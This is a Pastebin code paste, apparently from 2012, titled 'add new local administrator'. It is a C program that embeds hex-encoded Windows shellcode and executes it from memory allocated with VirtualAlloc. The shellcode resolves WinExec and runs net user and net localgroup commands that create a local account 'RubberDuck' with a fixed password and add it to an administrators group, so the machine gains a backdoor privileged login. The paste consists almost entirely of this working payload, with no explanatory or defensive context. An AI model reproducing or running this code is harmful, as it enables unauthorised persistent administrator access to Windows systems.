emS-St1ks

add new local administrator

Jun 15th, 2012
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.03 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. int main(){
  5.     unsigned char shellcode[]=
  6.         "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
  7.         "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
  8.         "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
  9.         "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
  10.         "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
  11.         "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
  12.         "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
  13.         "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
  14.         "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
  15.         "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
  16.         "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
  17.         "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
  18.         "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
  19.         "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
  20.         "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
  21.         "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
  22.         "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
  23.         "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
  24.         "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
  25.         "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
  26.         "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
  27.         "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
  28.         "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
  29.         "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
  30.         "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
  31.         "\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
  32.         "\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
  33.         "\x64\x00";
  34.     LPVOID lpAlloc;
  35.     void (*pfunc)();
  36.  
  37.     printf("size = %i bytes\n", lstrlen(shellcode) + 1);
  38.     printf("-------------------------\nUsername: RubberDuck\nPassword: mudbath\n");
  39.     system("PAUSE");
  40.  
  41.     lpAlloc = VirtualAlloc(0, 4096,
  42.                            MEM_COMMIT,
  43.                            PAGE_EXECUTE_READWRITE);
  44.  
  45.     if(lpAlloc == NULL){
  46.         printf("Memory not allocated!\n");
  47.         return 0;
  48.     }
  49.  
  50.     memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);
  51.  
  52.     pfunc = lpAlloc;
  53.  
  54.     pfunc();
  55.  
  56.     return 0;
  57. }
Advertisement
Add Comment
Please, Sign In to add comment